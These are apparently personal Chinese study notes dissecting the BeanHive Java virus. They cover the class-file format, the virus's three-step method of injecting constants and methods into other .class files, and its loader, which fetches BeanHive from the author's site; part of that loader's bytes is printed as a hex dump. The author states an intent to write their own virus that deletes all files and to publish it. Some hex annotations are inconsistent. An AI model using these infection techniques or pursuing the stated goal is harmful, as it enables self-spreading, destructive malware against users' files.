86, //56 //V
//--> constant_pool[14] CONSTANT_Class
7, //07
0, //00
87, //57 //W
//--> constant_pool[15] CONSTANT_Methodref
10, //0a
0, //00
7, //07
0, //00
33, //21
//--> constant_pool[16] CONSTANT_Methodref
10, //0a
0, //00
8, //08
0, //00
33, //21
//--> constant_pool[17] CONSTANT_Methodref
10, //0a
0, //00
9, //09
0, //00
33, //21
//--> constant_pool[18] CONSTANT_Methodref
10, //0a
0, //00
12, //0c
0, //00
34, //22
//--> constant_pool[19] CONSTANT_Methodref
10, //0a
0, //00
13, //0d
0, //00
34, //22
//--> constant_pool[20] CONSTANT_Methodref
10, //0a
0, //00
12, //0c
0, //00
35, //23
//--> constant_pool[21] CONSTANT_Methodref
10, //0a
0, //00
5, //05
0, //00
36, //24
//--> constant_pool[22] CONSTANT_Methodref
10, //0a
0, //00
8, //08
0, //00
37, //25
//--> constant_pool[23] CONSTANT_Methodref
10, //0a
0, //00
8, //08
0, //00
38, //26
//--> constant_pool[24] CONSTANT_Methodref
10, //0a
0, //00
14, //0e
0, //00
39, //27
//--> constant_pool[25] CONSTANT_Methodref
10, //0a
0, //00
14, //0e
0, //00
40, //28
//--> constant_pool[26] CONSTANT_Methodref
10, //0a
0, //00
8, //08
0, //00
41, //29
//--> constant_pool[27] CONSTANT_Methodref
10, //0a
0, //00
6, //06
0, //00
42, //31
//--> constant_pool[28] CONSTANT_Methodref
10, //0a
0, //00
13, //0d
0, //00
43, //32
//--> constant_pool[29] CONSTANT_Methodref
10, //0a
0, //00
5, //05
0, //00
44, //33
//--> constant_pool[30] CONSTANT_Methodref
10, //0a
0, //00
8, //08
0, //00
45, //34
//--> constant_pool[31] CONSTANT_InterfaceMethodref
11, //0b
0, //00
11, //0b
0, //00
46, //35
//--> constant_pool[32] CONSTANT_Methodref
10, //0a
0, //00
12, //0c
0, //00
47, //2f
//--> constant_pool[33] CONSTANT_NameAndType
12, //0c
0, //00
62, //3e
0, //00
53, //35
//--> constant_pool[34] CONSTANT_NameAndType
12, //0c
0, //00
62, //3e
0, //00
57, //39
//--> constant_pool[35] CONSTANT_NameAndType
12, //0e
0, //00
71, //47
0, //00
56, //38
//--> constant_pool[36] CONSTANT_NameAndType
12, //0c
0, //00
72, //48 //H
0, //00
53, //35
//--> constant_pool[37] CONSTANT_NameAndType
12, //0c
0, //00
73, //49
0, //00
59, //3d
//--> constant_pool[38] CONSTANT_NameAndType
12, //0c
0, //00
74, //4a
0, //00
55, //37
//--> constant_pool[39] CONSTANT_NameAndType
12, //0c
0, //00
75, //4b
0, //00
48, //30
//--> constant_pool[40] CONSTANT_NameAndType
12, //0c
0, //00
76, //4c
0, //00
49, //31
//--> constant_pool[41] CONSTANT_NameAndType
12, //0c
0, //00
88, //58 //X
0, //00
55, //37
//--> constant_pool[42] CONSTANT_NameAndType
12, //0c
0, //00
89, //59 //Y
0, //00
50, //32
//--> constant_pool[43] CONSTANT_NameAndType
12, //0c
0, //00
90, //5a //Z
0, //00
52, //34
//--> constant_pool[44] CONSTANT_NameAndType
12, //0c
0, //00
91, //5b
0, //00
60, //3c
//--> constant_pool[45] CONSTANT_NameAndType
12, //0c
0, //00
92, //5c
0, //00
54, //36
//--> constant_pool[46] CONSTANT_NameAndType
12, //0c
0, //00
93, //5d
0, //00
53, //35
//--> constant_pool[47] CONSTANT_NameAndType
12, //0c
0, //00
94, //5e
0, //00
51, //33
为何写个0x01呢?
因为每个字符串开始的时候是型如:...str的,而第一个.总是0x01,第二个.总是0x00第三个.总是~变化的,
呵呵,接下来就是str了(看着他妈的01 24 03 00 ... ... ... 找呀找呀找规律~~ ~~ )。 上面一大块应该是变量也就是const_pool的内容,而下面还有很大一块的... .. . . . . . . @. !..... .. ..! ...什
么的应该是插入的方法了吧 ! 先对上面的总结一下吧!
不是上边的是对那个小猪显示的内容总结一下吧!
单个字母前的.一定是0x00,到方法区的特殊字符前的.就不一定是0x00了,可能就在方法区的不为0x00,
可能方法区后面的还有一个区域。 那个00是结束的标志,还是中间加的一个分割幅,还是开始的标志副呢?
而结束的也只有
另外还有ANSI表。
为什么上升到8呢?
因为前4个是魔数,接着两个是次版本号,再两个是主版本号。总共8位。所以是应该是8,而且
这8位中不含什么“重要”信息了。。。。。。。
经测试得到,变量的总数是5e也就是94个。
我看到很奇怪的一个现象,有些人不去上课,搞的他们自学能得到的更多似的。。。。。。
他妈的他就是按照这个顺序来读取的。。。。。。。。。。。
现在完成了对某个代码的读取理解。。。。
知道了,他是按照那个顺序来写的。如果我要写,也得按照那个顺序。那感染性呢??
感染性如何解释?
如何创造感染性呢??
感染性。。。。。。。。。
还有,他在hash表中存储的是什么东西呢?那是他截取的short 和utf8,都最终成为了String的。
要用他验证是否有感染性吗?
一个难关算攻克了,下一步是什么呢??目的是我要写一个病毒的。。。我自己的那么这才是很长的一段路的很小一部分。。。。。 现在将那个病毒代码看完了,下一步是将代码的每行都写上注释。。。。。。。。。。。。。。
将注释的每一行构思自己的代码结构。。最终完成自己的代码。。
我的也就是直接删文件,,直接地删文件。。。。。。。。。。。。。
写个文件将他妈的所有的文件给删了,就行了。。我靠,我就不信我写不成一个病毒。。。。。
现在我要对每个文件的每行代码做注释了。
写在哪呢?
大纲:从BeanHiveApplet.java开始。也就是按照交用过程来叙述比较好一点。
先大体上描述一下。。。。。。。。。。。。。。。。。。。。。。。。。。。
对于一个类用到哪些东西呢???
api 文档,网上的相关资料。以及个人理解。
本注释保留的原作者的注释(英文),我添加的是中文注释,并对每个类及相关知识,以及代码的
流程为大家讲解一下。希望对对此感兴趣的人有帮助。。。。 注释comment 好,现在我看懂了。如何证明给别人看呢???
如何?第一,将注释贴出来。放在网上。
第二自己再写一个。将源码放在网上。
通过这个,我可以找到一个好工作。。
I have a plan ... ...
两种路径,现在还不能告诉他,或他们。因为,现在还不是时候。等到我将所有的代码写出来的
时候就成了。分析一下,他的代码都是干吗的呢??分析一下。。。。
大脑中要有个清晰的构架。
清晰的构架。。。。。。。清晰的构架。等到我对这个代码了如执掌的时候,便可以随心所欲了。
他的执行路径是什么呢?
第一:病毒的执行过程,。。。。过程。。。。。。。。。。。
想:
BeanHive 的作用是
寻找并感染其他的class文件。当已经感染了路径中的某个文件之后,启动,那么他就会自行的感染
其他的文件。如何感染呢?由VirusClassLoader调用,VirusClassLoader首先会在文件系统中寻找
这个文件。若没有就会从作者的站点上下载。下载之后就会为BeanHive创建一个线程并运行他。
而BeanHive 的作用就是搜索文件和感染文件。于是,病毒的传播性就具备了。
而对于感染而言,主要是由e89a763c控制实现的。他判断被传递的.class文件是否具有了感染性。
若具有了就好了,(那操作是什么呢?没有)若没有就将其感染。
那么下来具体讲讲感染的过程:
感染分3步的:
第一步:找到相应的位置得到插入点的数据。
第二步:插入想要插入,所需的常量
第三步:插入方法。
关于第一步的具体细节:
找到相应的字节的插入点。涉及到的内容是,字符转换为16进制编码,class文件结构,16进制
与10进制的转换。其中字符转换为16进制编码的方式很容易的,我用的是小猪十六进制编辑器(java编
的),打开一个class文件之后,你会看到型如: 02 21 0a 4a ef e1 ... ... 的字符。不要小看这些
看似毫无章法的数字。我达到这一步用了好长时间呢。(他妈的,我不是在讲解的)。我不告诉你我是怎么想到的。
这一个重写。
关于第一步的具体细节:
找到相应的插入点。如何实现呢?
按照class文件的相应结构。具体是什么?
还要用到一个指针的对象。。
这个是他自己写的,关于RandomFileAccess的指针的对象。用他确定插入点已经到哪了。并随着文件的
读取相应的进位。
他是如何读取的呢?按照什么顺序读取的呢?
ClassFile {
u4 magic; // 必须为: 0xCAFEBABE
u2 minor_version;
u2 major_version; //CLASS文件结构主次版本号 JAVA2支持45.0-46.0
u2 constant_pool_count; //记录常量信息
cp_info constant_pool[constant_pool_count-1]; //计数从1开始
u2 access_flags; //class/interface访问权限
u2 this_class; //指向constant_poll中的有效索引值
u2 super_class; //0或指向constant_poll中的有效索引值,对于interface必须为非0
u2 interfaces_count; //superinterfaces的个数
u2 interfaces[interfaces_count]; //计数[0,count-1) 对应constant_pool中的一个索引值
u2 fields_count;
field_info fields[fields_count]; //主要用于记录class及实例中的变量
u2 methods_count;
method_info methods[methods_count];
u2 Attributes_count;
attribute_info Attributes[Attributes_count];
}
定义: u1 1个字节为单位的非负值
u2 2个字节为单位的非负值
u3 . . . . . . . . (其他以此类推 )
按照上面的顺序读取。。。。
并在读取时将指针推进。
对于上面的我不讲解了。读取相应的信息获取相应的数字。并加上要插入的数字个数。更改要更改的数字。
将需要的数字设为变量存储起来。方便插入。。。
第二步:插入变量池中的内容。
这个涉及到几个类型转换的过程。
第一,因为变量要插入到字节码中,所以,需要将数字转化为字节码,他妈的就是byte类型的就行了。int
转换为byte,不需要考虑精度损失,因为,这些int类型的值并没有超出byte的范围。
第二,将字符转换为16进制的数字。
第三,将16进制的数字转化为10进制的数字。
这些就完成了一次循环的转换。
首先获取要插入的变量,如何获取要读取的变量呢?
如何获取呢??也是按照上面的方式来获取的。则必须要知道那些数字的方式了。。很清楚他们的结构。。
_____________________________________________________________________________________________________________
| Magic high | |
| Magic low | CONSTANT Class info |
| Minor version | |------|Tag | |
| Magor version | ______ _|___ |Name index | |
| Constant pool count | / Tag 0 |Info | ----------- |
| constant pool 0 |/ Tag 1 |Info |--->... ... |
| ... ... | ... |... | |
| Constant pool n |\ ... |... | |
| Access flags | \ Tag n |Info | CONSTSNT Fieldref info |
| This class | --------|--- ____________________ |
| Super class | |------->|Tag | |
| Interfaces count | |Class index | |
| Interfaces 1 | |Name and Type index| |
| ... ... | ________________ -------------------- |
| Interfaces n | /Access flags | Constant vlaue attribute____ |
| Fields count | / Name index | +->|Attributes name index | |
| Fields 0 | Attributes count| | |Attributes length high | |
| ... ... | Attributes 0 |-+ |Attributes length low | |
| Fields n | \ ... ... .. |--| |Constant value index | |
| Methods count | \Attributes n | | -------- ---------------| |
| Methods 0 | ----------------- +---> ... |
| ... ... |--> ... Code attribute_____________________ |
| Methods n |----------------->|Attribute name index | Exception_______ |
| Attributes count | |Attribute length high ||--> |Start pc | |
| Attributes 0 | |Attribute length low || |End pc | |
| ... ... | |Max stack || |Handler pc | |
| Attributes n +--| |Max locals || ----------- |
| ----------------------| | |Code length high || ... |
| | |Code length low || Line Number Table attribute |
| _______________________ | |Code 0 || |->|Attribute name index | |
| Source file attribute | | |... ... || | |Attribute length high | |
| *Attribute name index |<-| |Code n || | |Attribute length low | |
| *Attribute length high| |Exception table length || | |Line name table length | |
| *Atrribute length low | |Exception 0 || | |Line names 0 | |
| *Source file index | | ... ... || | | ... .... | |
| ----------------------- |Exception n |- | |Line names n | |
| |Attribute count | | --------|---------------- |
| |Attribute 0 |-- | Line name table |
| | ... ... | V |
| |Attribute n | | Start pc | |
| ------------------------ | Line number| |
| ------------ |
|___________________________________________________________________________________________________________|
得到数据,得到数据。。。。。。。。。。。。。。。。。
那么他有两种形式,第一,按照所有的数据存储到constant_pool中,并在其中存储了两位的信息,
第一是tag第二是info对于info又有tag和其他的info.那么如何存储这些呢,在内存中?
第一中是在constant中存储所有的数据,
一个类中的数据是??
如何提取,让我用自己的话说出来。!!
根据class文件的特点。前8个是去掉的,接两位是cp_count,然后是什么来着,要提取的内容了。
hash.get(hash.get(new Integer(temp_super_class))).equals("java/lang/Object")
hash.get(new Integer(temp_super_class)) 我还有很远没走类,很远。。。
变量变量变量。
Methods的区域解析。
Methods {
Methods count
Methods 0
Methods 1
.... ..
Methods n
}
Methods n
Code attribute{
Attribute name index
Attribute length high
Attribute length low
Max statck
Max locals
Code length high
Code length low
Code 0
.... ..
Code n
Exception table length
Exception 0
... ...
Exception n
Attribute count
Attribute 0
... ...
Attribute n
}
Exception n
Exception{
Start pc
End pc
Handler pc
}
Attribute n
Line Number Table attribute{
Attribute name index
Attribute length high
Attribute length low
Line name table length
Line names 0
... ... ..
Line names n
}
Line names n
Line name table{
Start pc
Line number
} Attribute 的区域解析
Attribute
Attribute {
Attribute count
Attribute 0
Attribute 1
... ... ..
Attribute n
}
Attribute n
Source file attribute {
Attribute name index
Attribute length high
Attribute length low
Source file index
} 试着将Methods 区域的转化一下: Methods {
Methods count
/** start Method 0 {Code attribute} **/
//Code attribute
Attribute name index
Attribute length high
Attribute length low
Max statck
Max locals
Code length high
Code length low
Code 0
.... ..
Code n
Exception table length
// start Exception 0 in M0_CA
//*******{Excetion}********//
Start pc
End pc
Handler pc
// end Exception 0 in M0_CA
// start Exception 1 in M0_CA
//*******{Excetion}********//
Start pc
End pc
Handler pc
// end Exception 1 in M0_CA
// start Exception .. in M0_CA
//*******{Excetion}********//
Start pc
End pc
Handler pc
// end Exception .. in M0_CA
// start Exception n in M0_CA
//*******{Excetion}********//
Start pc
End pc
Handler pc
// end Exception n in M0_CA
Attribute count
// start Attribute 0 in M0_CA
//******{ Line Number Table attribute }******//
Attribute name index
Attribute length high
Attribute length low
Line name table length
// Start Line names 0 in M0_CA_ATTR0
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names 0 in M0_CA_ATTR0
// Start Line names 1 in M0_CA_ATTR0
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names 1 in M0_CA_ATTR0
// Start Line names .. in M0_CA_ATTR0
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names .. in M0_CA_ATTR0
// Start Line names n in M0_CA_ATTR0
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names n in M0_CA_ATTR0
// start Attribute 1 in M0_CA
//******{ Line Number Table attribute }******//
Attribute name index
Attribute length high
Attribute length low
Line name table length
// Start Line names 0 in M0_CA_ATTR1
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names 0 in M0_CA_ATTR1
// Start Line names 1 in M0_CA_ATTR1
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names 1 in M0_CA_ATTR1
// Start Line names .. in M0_CA_ATTR1
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names .. in M0_CA_ATTR1
// Start Line names n in M0_CA_ATTR1
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names n in M0_CA_ATTR01 // start Attribute .. in M0_CA
//******{ Line Number Table attribute }******//
Attribute name index
Attribute length high
Attribute length low
Line name table length
// Start Line names 0 in M0_CA_ATTR..
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names 0 in M0_CA_ATTR..
// Start Line names 1 in M0_CA_ATTR..
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names 1 in M0_CA_ATTR..
// Start Line names .. in M0_CA_ATTR..
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names .. in M0_CA_ATTR..
// Start Line names n in M0_CA_ATTR..
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names n in M0_CA_ATTR..
// start Attribute n in M0_CA
//******{ Line Number Table attribute }******//
Attribute name index
Attribute length high
Attribute length low
Line name table length
// Start Line names 0 in M0_CA_ATTRn
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names 0 in M0_CA_ATTRn
// Start Line names 1 in M0_CA_ATTRn
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names 1 in M0_CA_ATTRn
// Start Line names .. in M0_CA_ATTRn
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names .. in M0_CA_ATTRn
// Start Line names n in M0_CA_ATTRn
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names n in M0_CA_ATTRn
} Attribute 的区域解析
Attribute
Attribute {
Attribute count
Attribute 0
Attribute 1
... ... ..
Attribute n
}
Attribute n
Source file attribute {
Attribute name index
Attribute length high
Attribute length low
Source file index
}
将Attribute 的转化一下。
Attributes{
Attributes count;
// Start Attribute_0
//******{Source file attribute}******//
Attribute name index
Attribute length high
Attribute length low
Source file index
// End Attribute_0
// Start Attribute_1
//******{Source file attribuet}******//
Attribute name index
Attribute length high
Attribute length low
Source file index
// End Attribute_1
// Start Attribute_..
//******{Source file attribuet}******//
Attribute name index
Attribute length high
Attribute length low
Source file index
// End Attribute_..
// Start Attribute_n
//******{Source file attribuet}******//
Attribute name index
Attribute length high
Attribute length low
Source file index
// End Attribute_n
}
更详细的请参看Methods&Attribute转化内存存储顺序.doc。
他的文件的调用顺序:
e 调用 c virusinvoke的insert(int temp_m_count, int temp_m_pointer, int delta_offset,
RandomAccessFile temp, a98b34f2 ptr, Hashtable hash)
调用时的变量insert(temp_m_count,temp_m_pointer,delta_offset,temp,ptr,hash)
e 调用 d virusmethod的insert(int temp_m_count_pointer, int temp_m_count,
int temp_m_pointer, int delta_offset,RandomAccessFile temp,a98b34f2 ptr)
调用时的变量insert(temp_cp_count,temp_cp_pointer,delta_offset,
temp_this_class,temp_super_class,temp,ptr)
e 调用 b virusconst 的insert(int temp_cp_count, int temp_cp_pointer, int delta_offset,
int temp_this_class, int temp_supper_class, RandomAccessFile temp,
a98b34f2 ptr)
调用时的变量insert(temp_cp_count,temp_cp_pointer,delta_offset,
temp_this_class,temp_super_class,temp,ptr)
而a98b34f2相当于一个工具类存在,用于传递指针的位置,因为他可以new 一个a98b34f2新对象,而没有所以猜测他的指针位置
一直保存着,也就是内存中的a98b34f2这个对象没有改变。
BeanHive 调用 e vstart的poke(File entry)
Main 调用 virusClassLoader
virusClassLoader 下载BeanHive类。
BeanHive 的两个重要动作:1. 获取当前目录中的.class文件
2. 调用e vstart的poke(File entry)将得到的.class文件作为参数传进去。
在e 中声明了所有的在调用b c d时用的变量。若想彻底弄清楚到底 b c d干了什么就要将在e poke()方法中声明的
1.变量含义 2.传递时的具体指代 弄清楚。
+-----------
$ 类变量
+-----------
hash ---- Hashtable类型
hash中存储的值有两种,1. int 2. String
int 是读到类的时候存储进去的 ┓
String 是读到Utf8的时候存储进去的┻ 其中存储到其中的值的键都为cp中的位置
temp ---- RandomAccessFile类型
+-----------
$ 方法变量
+-----------
temp_magic ---- u4 要被感染的.class文件的魔数
temp_cp_count ---- u2 要被感染的.class文件的 constant_pool_count
temp_cp_pointer ---- int值,标志读取或写的指针位置
delta_offset ----
temp_access_flags ---- u2 这个文件(类或接口)的访问权限
temp_this_class ---- u2 转向this_class类型解析
temp_super_class ---- u2 转向super_class类型解析
temp_interfaces ---- 转向interface类型解析
temp_fields ---- 转向temp_fields类型解析
temp_m_count_pointer ---- m指代Methods数量的指针下标
temp_m_count ---- 指代 Methods 的数量
temp_m_pointer ---- 指代 Methods 的下标
isInvalid ---- boolean 类型,作者的上下文中的这个字段的含义可能不太明确,
时而更改。
根据上下文可以确定temp字段代表的是传入的文件,也就是要被感染的文件。
对于temp_interfaces的分析。涉及到temp_super_class。
interfaces区域解析,内存字节码存储方式。
interface {
interface_count //----- u2
interface 0 //----- u2
interface 1 //----- u2
interface .. //----- u2
interface n //----- u2
}
因为参数的传递中没用到temp_interface,所以对interface中的存储内容不再深究,
和super_class应相似的。 super_class 区域解析,字节码存储方式。
super_class{
super_class //----- u2
}
super_class的值是常数表(constant_pool)的索引,索引(指向)的info内保存超类名,在info内保存形式和类名相同。
分析temp_this_class
this_class 区域解析,字节码存储方式
this_class{
this_class //----- u2
}
this_class的值是常数表(constant_pool)的索引,索引(指向)的info内保存类或接口名。
例如类名为com.sum.java.swing.SwingUtitlities2在info保存为com/sum/java/swing/SwingUtitlities2
-------------------------this means: it is a String ! (y/n)? temp_fields解析
Fields {
Fields count // ---- 记录域的数量
Fields 0 // ---- 第一个域
... ..
Fields n // ---- 第n个域
} Field_info
Field.n {
Access_flags // ---- u2 域修饰符掩码
Name_index // ---- u2 域名在常数表内的索引
Descriptor_index // ---- u2 域的描述符,其值是常数表内的索引
Attributes_count // ---- u2 域的属性个数
Attributes 0 // ----
... ... .. // ----
Attributes n // ----
}
Constant value attribute
Attribute n{
Attribute name index // ---- u2 常数表内索引
Attribute length high // ---- u2 属性长度┓
Attribute length low // ---- u2 属性长度┻可合并为一个Attribute length u4
Constantvalue_index // ---- u2 常数表内索引,保存域的值
} 试着将其解释一下:
Fields{
Fields count // ---- u2 记录域的数量
// Start Field 0
//*******{ Field_info }*******//
Access_flags // ---- u2 域修饰符掩码,访问控制权
Name_index // ---- u2 constant_pool中的索引,对应于CONSTANT_Utf8_info描述。
Descriptor_index // ---- u2 constant_pool中的索引,对应于CONSTANT_Utf8_info描述。
Attributes_count // ---- u2 域的属性个数
//**Start Attribute 0
Attribute name index // ---- u2 常数表内索引
Attribute length // ---- u2 属性长度
Constantvalue_index // ---- u2 常数表内索引,保存域的值
// End of Attribute 0 **//
//**Start Attribute ..
Attribute name index
Attribute length high
Constantvalue_index
// End of Attribute ..**//
//**Start Attribute n
Attribute name index
Attribute length high
Constantvalue_index
// End of Attribute n **//
// End of Field 1
:::::: ::::::
// End of Field n
} field_info中access_flages意义如下:
ACC_PUBLIC 0x0001
ACC_PRIVATE 0x0002
ACC_PROTECTED 0x0004
ACC_STATIC 0x0008
ACC_FINAL 0x0010
ACC_VOLATILE 0x0040
ACC_TRANSIENT 0x0080
其中很显然不能同时为ACC_FINAL和ACC_VOLATILE 且前三项是互斥的。
interface必须置ACC_PUBLIC, ACC_STATIC,ACC_FINAL位,且不能置其他位。
其他未指明的位保留将来使用,并且编译器应当将其置为0,同时Java虚拟机应当忽略他们。
temp_m_count
显然对于temp_Methods已经解释的很清楚了。
hash解析
hash是从截取的
temp解析
其中使用的有一个对象,也就是temp,所有的操作都在temp上进行。 试着解析constant_pool
constant_pool{
constant_pool_count
constant_pool_info
}
constant_pool_info{
tag
info[]
}
tag 意义如下:
CONSTANT_Class -- 7
CONSTANT_Fieldref -- 9
CONSTANT_Methodref -- 10
CONSTANT_InterfaceMethodref -- 11
CONSTANT_String -- 8
CONSTANT_Integer -- 3
CONSTANT_Float -- 4
CONSTANT_Long -- 5
CONSTANT_Double -- 6
CONSTANT_NameAndType -- 12
CONSTANT_Utf8 -- 1
此时cp_info分别对应结构变化为:
1. CONSTANT_Class
CONSTANT_Class_info{
u1 tag -- 7
u2 name_index
}
2. CONSTANT_Fieldref
CONSTANT_Fieldref_info{
u1 tag -- 9
u2 class_index
u2 name_and_type_index
}
3. CONSTANT_Methodref
CONSTANT_Methodref_info {
u1 tag; -- 10
u2 class_index;
u2 name_and_type_index;
}
4. CONSTANT_InterfaceMethodref
CONSTANT_InterfaceMethodref_info {
u1 tag; -- 11
u2 class_index;
u2 name_and_type_index;
}
5. CONSTANT_String
CONSTANT_String_info {
u1 tag; -- 8
u2 string_index;
}
6. CONSTANT_Integer
CONSTANT_Integer_info {
u1 tag; -- 3
u4 bytes;
}
7. CONSTANT_Float
CONSTANT_Float_info {
u1 tag; -- 4
u4 bytes;
}
8. CONSTANT_Long
CONSTANT_Long_info {
u1 tag; -- 5
u4 high_bytes;
u4 low_bytes;
}
9. CONSTANT_Double
CONSTANT_Double_info {
u1 tag; -- 6
u4 high_bytes;
u4 low_bytes
}
10.CONSTANT_NameAndType
CONSTANT_NameAndType_info {
u1 tag; -- 12
u2 name_index;
u2 descriptor_index;
}
11.CONSTANT_Utf8
CONSTANT_Utf8_info {
u1 tag; -- 1
u2 length;
u1 bytes[length];
}
定义: u1 1个字节为单位的非负值
u2 2个字节为单位的非负值
u3 . . . . . . . . (其他以此类推 )
解析a98b34f2作用:
1. 位置
a98b34f2出现的类文件:
e 中,e并将a作为参数传到b c d 中。
2. 类中方法作用
构造方法 传入的RandomAccessFile file对象构建一个对象。
seek() 找到a.fpointer位置,fpointer开始时是0,当被操作后就!=0了,那么也就不会定位到文件开始处了。
seek(int offset) 指针定位到offset的位置。fpointer的值转换为offset。
update(int offset) 指针由原来的位置向右推移offset位。这么fpointer的值也增加了。
methods 指明了类中的所有的方法。
Method_info{
u2 access_flags
u2 name_index //指向constant_pool的入口,对应为CONSTANT_Utf8_info
u2 descriptor_index //指向constant_pool的入口,对应为Co
u2 attribute_count
attribute_info attribute[attribute_count]
//此处只能出现Code,Exception,Synthetic,Deprecated四中类型的属性
}
access_flags访问权限描述如下:
ACC_PUBLIC 0x0001 ------- 1
ACC_PRIVATE 0x0002 ------- 2
ACC_PROTECTED 0x0004 ------- 4
ACC_STATIC 0x0008 ------- 8
ACC_FINAL 0x0010 ------- 10
ACC_SYNCHRONIZED 0x0020 ------- 32
ACC_NATIVE 0x0100 ------- 256
ACC_ABSTRACT 0x0400 ------- 1024
ACC_STRICT 0x0800 ------- 2048
显然以上的没用了。
对于类文件 d 的分析。。。。。。。。。 变量:
virus_code_length ---
virus_method[] ---
virus_e_table_length ---
old_code[] --- dc98e742的分析:
变量:
virus_code_length 追踪
virus_method
virus_e_table_length
old_code
方法:insert(int temp_m_count_pointer, int temp_m_count, int temp_m_pointer,
int delta_offset, RandomAccessFile temp, a98b34f2 ptr)
方法参数:
temp_m_count_pointer
temp_m_count
temp_m_pointer
delta_offset
temp
ptr
temp和ptr之间的关系
ptr是在temp的基础上创建。
temp: 程序的temp在Read 4位时,按照RandomAccessFile的规范temp的指针进乎?
####//////////////////////////##### readUnsignedShort
public final int readUnsignedShort()
throws IOException从此文件读取一个无符号的 16 位数。此方法从该文件的当前文件指针开始读取两个字节。如果按顺序读取的字节为 b1 和 b2,其中 0 <= b1, b2 <= 255,则结果将等于:
(b1 << 8) | b2
在读取了这两个字节、检测到流的末尾或者抛出异常前,此方法一直阻塞。 指定者:
接口 DataInput 中的 readUnsignedShort
返回:
此文件的下两个字节,解释为一个无符号的 16 位整数。 ####/////////////////////////#####
以上面的为例,这个方法说明了要读取16位也就是2个8 bits,但是没有说明要进位,所以它的下标不会向左或向右推进。
而ptr正是为了解决这个问题的。主要负责定位,将temp的下标定位到,将要被读取的字符的前一位。 对b的分析:
我的天哪,呵呵。那个contants_pool的count为94,我是说在VirusClassLoader.class中。但是在那里又怎么是95呢?
他是不是多了个什么信息?
很有可能。那是什么呢?寻找一下这VirusClassLoader.class中的信息。
进行分析一下。 CA FE BA BE 00 00 00 31 00 5E 08 00 27 08 00 28
0A 00 1D 00 29 07 00 2A 07 00 2B 07 00 2C 0A 00
06 00 2D 0A 00 06 00 2E 08 00 2F 0A 00 06 00 30
0A 00 05 00 31 0A 00 05 00 32 0A 00 33 00 34 0A
00 33 00 35 0A 00 36 00 37 0A 00 36 00 38 07 00
39 0A 00 04 00 2D 0A 00 1C 00 3A 07 00 3B 0A 00
14 00 2D 0A 00 1C 00 3C 0A 00 3D 00 3E 07 00 3F
0B 00 18 00 40 0A 00 1D 00 2D 0A 00 1C 00 41 07
00 42 07 00 43 01 00 09 6C 6F 61 64 43 6C 61 73
73 01 00 26 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F
53 74 72 69 6E 67 3B 5A 29 4C 6A 61 76 61 2F 6C
61 6E 67 2F 43 6C 61 73 73 3B 01 00 04 43 6F 64
65 01 00 0F 4C 69 6E 65 4E 75 6D 62 65 72 54 61
62 6C 65 01 00 0A 45 78 63 65 70 74 69 6F 6E 73
01 00 06 3C 69 6E 69 74 3E 01 00 03 28 29 56 01
00 0A 53 6F 75 72 63 65 46 69 6C 65 01 00 15 56
69 72 75 73 43 6C 61 73 73 4C 6F 61 64 65 72 2E
6A 61 76 61 01 00 1C 68 74 74 70 3A 2F 2F 77 77
77 2E 63 6F 64 65 62 72 65 61 6B 65 72 73 2E 6F
72 67 2F 01 00 08 42 65 61 6E 48 69 76 65 0C 00
44 00 45 01 00 20 6A 61 76 61 2F 6C 61 6E 67 2F
43 6C 61 73 73 4E 6F 74 46 6F 75 6E 64 45 78 63
65 70 74 69 6F 6E 01 00 0C 6A 61 76 61 2F 6E 65
74 2F 55 52 4C 01 00 17 6A 61 76 61 2F 6C 61 6E
67 2F 53 74 72 69 6E 67 42 75 69 6C 64 65 72 0C
00 23 00 24 0C 00 46 00 47 01 00 06 2E 63 6C 61
73 73 0C 00 48 00 49 0C 00 23 00 4A 0C 00 4B 00
4C 07 00 4D 0C 00 4E 00 4F 0C 00 50 00 51 07 00
52 0C 00 53 00 54 0C 00 55 00 24 01 00 13 6A 61
76 61 2F 6C 61 6E 67 2F 45 78 63 65 70 74 69 6F
6E 0C 00 56 00 57 01 00 1A 6A 61 76 61 2F 6C 61
6E 67 2F 43 6C 61 73 73 46 6F 72 6D 61 74 45 72
72 6F 72 0C 00 58 00 59 07 00 5A 0C 00 5B 00 5C
01 00 12 6A 61 76 61 2F 6C 61 6E 67 2F 52 75 6E
6E 61 62 6C 65 0C 00 5D 00 24 0C 00 1E 00 45 01
00 10 56 69 72 75 73 43 6C 61 73 73 4C 6F 61 64
65 72 01 00 15 6A 61 76 61 2F 6C 61 6E 67 2F 43
6C 61 73 73 4C 6F 61 64 65 72 01 00 0F 66 69 6E
64 53 79 73 74 65 6D 43 6C 61 73 73 01 00 25 28
4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E
67 3B 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C
61 73 73 3B 01 00 06 61 70 70 65 6E 64 01 00 2D
28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69
6E 67 3B 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53
74 72 69 6E 67 42 75 69 6C 64 65 72 3B 01 00 08
74 6F 53 74 72 69 6E 67 01 00 14 28 29 4C 6A 61
76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B 01
00 15 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74
72 69 6E 67 3B 29 56 01 00 0E 6F 70 65 6E 43 6F
6E 62 65 63 74 69 6F 6E 01 00 1A 28 29 4C 6A 61
76 61 2F 6E 65 74 2F 55 52 4C 43 6F 6E 6E 65 63
74 69 6F 6E 3B 01 00 16 6A 61 76 61 2F 6E 65 74
2F 55 52 4C 43 6F 6E 6E 65 63 74 69 6F 6E 01 00
0E 67 65 74 49 6E 70 75 74 53 74 72 65 61 6D 01
00 17 28 29 4C 6A 61 76 61 2F 69 6F 2F 49 6E 70
